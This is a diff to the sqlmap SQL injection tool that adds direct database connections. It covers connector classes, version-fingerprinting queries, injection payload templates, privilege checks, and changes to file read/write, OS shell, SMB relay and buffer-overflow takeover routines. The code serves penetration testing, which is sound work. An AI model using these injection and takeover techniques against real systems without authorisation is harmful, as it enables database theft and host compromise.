# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
||||
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
|
||||
elif inject.getValue("SELECT MID(@@hostname, 1, 1)", unpack=False):
|
||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
||||
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
|
||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
||||
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
||||
elif inject.getValue("SELECT DATABASE() LIKE SCHEMA()"):
|
||||
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
|
||||
else:
|
||||
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
|
||||
|
@ -237,24 +239,24 @@ class Fingerprint(GenericFingerprint):
|
|||
return True
|
||||
|
||||
# Check which version of MySQL < 5.0.0 it is
|
||||
coercibility = inject.getValue("COERCIBILITY(USER())")
|
||||
coercibility = inject.getValue("SELECT COERCIBILITY(USER())")
|
||||
|
||||
if coercibility == "3":
|
||||
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
||||
elif coercibility == "2":
|
||||
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
||||
elif inject.getValue("CURRENT_USER()"):
|
||||
elif inject.getValue("SELECT CURRENT_USER()"):
|
||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
||||
|
||||
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
|
||||
if inject.getValue("SELECT CHARSET(CURRENT_USER())") == "utf8":
|
||||
kb.dbmsVersion = ["= 4.1.0"]
|
||||
else:
|
||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
||||
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
|
||||
elif inject.getValue("SELECT FOUND_ROWS()", charsetType=1) == "0":
|
||||
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
||||
elif inject.getValue("CONNECTION_ID()"):
|
||||
elif inject.getValue("SELECT CONNECTION_ID()"):
|
||||
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
||||
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
|
||||
elif re.search("@[\w\.\-\_]+", inject.getValue("SELECT USER()")):
|
||||
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
|
||||
else:
|
||||
kb.dbmsVersion = ["< 3.22.11"]
|
||||
|
|
35
plugins/dbms/oracle/connector.py
Normal file
35
plugins/dbms/oracle/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage:
|
||||
User guide:
|
||||
API:
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
88
plugins/dbms/postgresql/connector.py
Normal file
88
plugins/dbms/postgresql/connector.py
Normal file
|
@ -0,0 +1,88 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
try:
|
||||
import psycopg2
|
||||
except ImportError, _:
|
||||
pass
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: http://initd.org/psycopg/
|
||||
User guide: http://initd.org/psycopg/docs/
|
||||
API: http://initd.org/psycopg/docs/genindex.html
|
||||
Debian package: python-psycopg2
|
||||
License: GPL
|
||||
|
||||
Possible connectors: http://wiki.python.org/moin/PostgreSQL
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port)
|
||||
except psycopg2.OperationalError, msg:
|
||||
raise sqlmapConnectionException, msg
|
||||
|
||||
self.setCursor()
|
||||
self.connected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except psycopg2.ProgrammingError, msg:
|
||||
logger.log(8, msg)
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
logger.debug(query)
|
||||
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg:
|
||||
logger.log(8, msg)
|
||||
except psycopg2.InternalError, msg:
|
||||
raise sqlmapConnectionException, msg
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
||||
|
||||
def setCursor(self):
|
||||
self.cursor = self.connector.cursor()
|
||||
|
||||
def close(self):
|
||||
self.cursor.close()
|
||||
self.connector.close()
|
|
@ -86,6 +86,12 @@ class Fingerprint(GenericFingerprint):
|
|||
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
||||
"""
|
||||
|
||||
infoMsg = "testing PostgreSQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.direct:
|
||||
conf.dbmsConnector.connect()
|
||||
|
||||
if conf.dbms in PGSQL_ALIASES:
|
||||
setDbms("PostgreSQL")
|
||||
|
||||
|
@ -94,9 +100,6 @@ class Fingerprint(GenericFingerprint):
|
|||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
infoMsg = "testing PostgreSQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
|
||||
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||
|
@ -122,33 +125,33 @@ class Fingerprint(GenericFingerprint):
|
|||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2":
|
||||
if inject.getValue("SELECT DIV(6, 3)", unpack=False, charsetType=2) == "2":
|
||||
kb.dbmsVersion = [">= 8.4.0"]
|
||||
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
|
||||
elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
|
||||
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
|
||||
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
|
||||
elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
|
||||
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
|
||||
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
|
||||
elif inject.getValue("SELECT GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
|
||||
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
||||
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
|
||||
elif inject.getValue("SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
|
||||
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
||||
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
|
||||
elif inject.getValue("SELECT SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
|
||||
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
||||
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
|
||||
elif inject.getValue("SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
|
||||
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
||||
elif inject.getValue("BIT_LENGTH(1)") == "8":
|
||||
elif inject.getValue("SELECT BIT_LENGTH(1)") == "8":
|
||||
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
||||
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
|
||||
elif inject.getValue("SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
|
||||
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
||||
elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8":
|
||||
elif inject.getValue("SELECT POW(2, 3)", unpack=False, charsetType=2) == "8":
|
||||
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
||||
elif inject.getValue("MAX('a')") == "a":
|
||||
elif inject.getValue("SELECT MAX('a')") == "a":
|
||||
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
||||
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
|
||||
elif re.search("([\d\.]+)", inject.getValue("SELECT SUBSTR(VERSION(), 12, 5)", unpack=False)):
|
||||
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
||||
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
|
||||
elif inject.getValue("SELECT SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
|
||||
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
||||
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
|
||||
elif inject.getValue("SELECT SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
|
||||
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
||||
else:
|
||||
kb.dbmsVersion = ["< 6.2.0"]
|
||||
|
@ -167,7 +170,7 @@ class Fingerprint(GenericFingerprint):
|
|||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||
|
|
35
plugins/dbms/sqlite/connector.py
Normal file
35
plugins/dbms/sqlite/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage:
|
||||
User guide:
|
||||
API:
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
81
plugins/generic/connector.py
Normal file
81
plugins/generic/connector.py
Normal file
|
@ -0,0 +1,81 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 021101301 USA
|
||||
"""
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
|
||||
class Connector:
|
||||
"""
|
||||
This class defines generic dbms protocol functionalities for plugins.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.connector = None
|
||||
self.cursor = None
|
||||
|
||||
def initConnection(self):
|
||||
self.user = conf.dbmsUser
|
||||
self.password = conf.dbmsPass
|
||||
self.hostname = conf.hostname
|
||||
self.port = conf.port
|
||||
self.db = conf.dbmsDb
|
||||
|
||||
def connected(self):
|
||||
infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
|
||||
infoMsg += ":%d established" % self.port
|
||||
logger.info(infoMsg)
|
||||
|
||||
def connect(self):
|
||||
errMsg = "'connect' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
def fetchall(self):
|
||||
errMsg = "'fetchall' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
def execute(self, query):
|
||||
errMsg = "'execute' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
def select(self, query):
|
||||
errMsg = "'select' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
def setCursor(self):
|
||||
errMsg = "'setCursor' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
def getCursor(self):
|
||||
return self.cursor
|
||||
|
||||
def close(self):
|
||||
errMsg = "'close' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
|
@ -139,7 +139,7 @@ class Enumeration:
|
|||
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
|
||||
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
if condition:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
else:
|
||||
|
@ -196,7 +196,7 @@ class Enumeration:
|
|||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
query = rootQuery["inband"]["query2"]
|
||||
else:
|
||||
|
@ -393,7 +393,7 @@ class Enumeration:
|
|||
"E": "EXECUTE"
|
||||
}
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
condition = rootQuery["inband"]["condition2"]
|
||||
|
@ -439,7 +439,7 @@ class Enumeration:
|
|||
|
||||
# In PostgreSQL we get 1 if the privilege is
|
||||
# True, 0 otherwise
|
||||
if kb.dbms == "PostgreSQL" and privilege.isdigit():
|
||||
if kb.dbms == "PostgreSQL" and str(privilege).isdigit():
|
||||
for position, pgsqlPriv in pgsqlPrivs:
|
||||
if count == position and int(privilege) == 1:
|
||||
privileges.add(pgsqlPriv)
|
||||
|
@ -639,7 +639,7 @@ class Enumeration:
|
|||
|
||||
rootQuery = queries[kb.dbms].dbs
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
else:
|
||||
|
@ -696,7 +696,7 @@ class Enumeration:
|
|||
|
||||
rootQuery = queries[kb.dbms].tables
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
query = rootQuery["inband"]["query"]
|
||||
condition = rootQuery["inband"]["condition"]
|
||||
|
||||
|
@ -855,7 +855,7 @@ class Enumeration:
|
|||
infoMsg += "on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
||||
query += condQuery
|
||||
|
@ -1039,7 +1039,7 @@ class Enumeration:
|
|||
colQuery = "%s%s" % (colCond, colCondParam)
|
||||
colQuery = colQuery % column
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
query = rootQuery["inband"]["query"]
|
||||
query += colQuery
|
||||
query += dbsQuery
|
||||
|
@ -1095,7 +1095,7 @@ class Enumeration:
|
|||
infoMsg += " '%s' in database '%s'" % (column, db)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
query = rootQuery["inband"]["query2"]
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
|
@ -1321,7 +1321,7 @@ class Enumeration:
|
|||
|
||||
entriesCount = 0
|
||||
|
||||
if kb.unionPosition:
|
||||
if kb.unionPosition or conf.direct:
|
||||
if kb.dbms == "Oracle":
|
||||
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
|
||||
elif kb.dbms == "SQLite":
|
||||
|
@ -1349,7 +1349,7 @@ class Enumeration:
|
|||
else:
|
||||
colEntry = entry[index]
|
||||
|
||||
colEntryLen = len(colEntry)
|
||||
colEntryLen = len(str(colEntry))
|
||||
maxLen = max(colLen, colEntryLen)
|
||||
|
||||
if maxLen > kb.data.dumpedTable[column]["length"]:
|
||||
|
|
|
@ -29,13 +29,13 @@ from lib.core.agent import agent
|
|||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Filesystem:
|
||||
"""
|
||||
This class defines generic OS file system functionalities for plugins.
|
||||
|
@ -278,18 +278,19 @@ class Filesystem:
|
|||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if not kb.stackedTest:
|
||||
if conf.direct or kb.stackedTest:
|
||||
if kb.stackedTest:
|
||||
debugMsg = "going to read the file with stacked query SQL "
|
||||
debugMsg += "injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
fileContent = self.stackedReadFile(rFile)
|
||||
else:
|
||||
debugMsg = "going to read the file with UNION query SQL "
|
||||
debugMsg += "injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
fileContent = self.unionReadFile(rFile)
|
||||
else:
|
||||
debugMsg = "going to read the file with stacked query SQL "
|
||||
debugMsg += "injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
fileContent = self.stackedReadFile(rFile)
|
||||
|
||||
if fileContent in ( None, "" ) and kb.dbms != "PostgreSQL":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
@ -319,16 +320,17 @@ class Filesystem:
|
|||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if not kb.stackedTest:
|
||||
if conf.direct or kb.stackedTest:
|
||||
if kb.stackedTest:
|
||||
debugMsg = "going to upload the %s file with " % fileType
|
||||
debugMsg += "stacked query SQL injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.stackedWriteFile(wFile, dFile, fileType, confirm)
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
else:
|
||||
debugMsg = "going to upload the %s file with " % fileType
|
||||
debugMsg += "UNION query SQL injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.unionWriteFile(wFile, dFile, fileType, confirm)
|
||||
else:
|
||||
debugMsg = "going to upload the %s file with " % fileType
|
||||
debugMsg += "stacked query SQL injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.stackedWriteFile(wFile, dFile, fileType, confirm)
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
|
|
@ -98,6 +98,9 @@ class Miscellaneous:
|
|||
|
||||
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
|
||||
|
||||
if conf.direct:
|
||||
query = "SELECT %s" % query
|
||||
|
||||
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
||||
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
||||
|
||||
|
@ -127,7 +130,7 @@ class Miscellaneous:
|
|||
|
||||
stackedTest()
|
||||
|
||||
if not kb.stackedTest:
|
||||
if not kb.stackedTest and not conf.direct:
|
||||
return
|
||||
|
||||
if kb.os == "Windows":
|
||||
|
|
|
@ -51,7 +51,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
def osCmd(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest:
|
||||
if kb.stackedTest or conf.direct:
|
||||
web = False
|
||||
elif not kb.stackedTest and kb.dbms == "MySQL":
|
||||
infoMsg = "going to use a web backdoor for command execution"
|
||||
|
@ -74,7 +74,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
def osShell(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest:
|
||||
if kb.stackedTest or conf.direct:
|
||||
web = False
|
||||
elif not kb.stackedTest and kb.dbms == "MySQL":
|
||||
infoMsg = "going to use a web backdoor for command prompt"
|
||||
|
@ -99,7 +99,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest:
|
||||
if kb.stackedTest or conf.direct:
|
||||
web = False
|
||||
|
||||
self.initEnv(web=web)
|
||||
|
@ -195,7 +195,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
errMsg += "relay attack"
|
||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||
|
||||
if not kb.stackedTest:
|
||||
if not kb.stackedTest and not conf.direct:
|
||||
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
||||
errMsg = "on this back-end DBMS it is only possible to "
|
||||
errMsg += "perform the SMB relay attack if stacked "
|
||||
|
@ -239,7 +239,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
def osBof(self):
|
||||
stackedTest()
|
||||
|
||||
if not kb.stackedTest:
|
||||
if not kb.stackedTest and not conf.direct:
|
||||
return
|
||||
|
||||
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
||||
|
@ -267,7 +267,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
def __regInit(self):
|
||||
stackedTest()
|
||||
|
||||
if not kb.stackedTest:
|
||||
if not kb.stackedTest and not conf.direct:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
|
|
@ -2,6 +2,10 @@
|
|||
# get target urls from.
|
||||
[Target]
|
||||
|
||||
# Direct connection to the database.
|
||||
# Example: mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
|
||||
direct =
|
||||
|
||||
# Target URL.
|
||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||
url =
|
||||
|
|
|
@ -25,9 +25,9 @@
|
|||
<substring query="MID((%s), %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<banner query="SELECT VERSION()"/>
|
||||
<current_user query="SELECT CURRENT_USER()"/>
|
||||
<current_db query="SELECT DATABASE()"/>
|
||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'"/>
|
||||
<users>
|
||||
|
@ -160,9 +160,9 @@
|
|||
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_DATABASE()"/>
|
||||
<banner query="SELECT VERSION()"/>
|
||||
<current_user query="SELECT CURRENT_USER"/>
|
||||
<current_db query="SELECT CURRENT_DATABASE()"/>
|
||||
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
|
@ -218,9 +218,9 @@
|
|||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||
<banner query="@@VERSION"/>
|
||||
<current_user query="SYSTEM_USER"/>
|
||||
<current_db query="DB_NAME()"/>
|
||||
<banner query="SELECT @@VERSION"/>
|
||||
<current_user query="SELECT SYSTEM_USER"/>
|
||||
<current_db query="SELECT DB_NAME()"/>
|
||||
<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||
|
@ -276,7 +276,7 @@
|
|||
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="AND SUBSTR((%s), %d, 1) > '%s'"/>
|
||||
<banner query="SQLITE_VERSION()"/>
|
||||
<banner query="SELECT SQLITE_VERSION()"/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
<is_dba/>
|
||||
|
@ -316,7 +316,7 @@
|
|||
<substring query="MID((%s), %d, %d)"/>
|
||||
<case query="IIF(%s,1,0)"/>
|
||||
<banner/>
|
||||
<current_user query="CURRENTUSER()"/>
|
||||
<current_user query="SELECT CURRENTUSER()"/>
|
||||
<current_db/>
|
||||
<inference query="AND ASC(MID((%s), %d, 1)) > %d"/>
|
||||
<is_dba query="IIF(CURRENTUSER()='Admin',1,0)"/>
|
||||
|
|
Loading…
Reference in New Issue
Block a user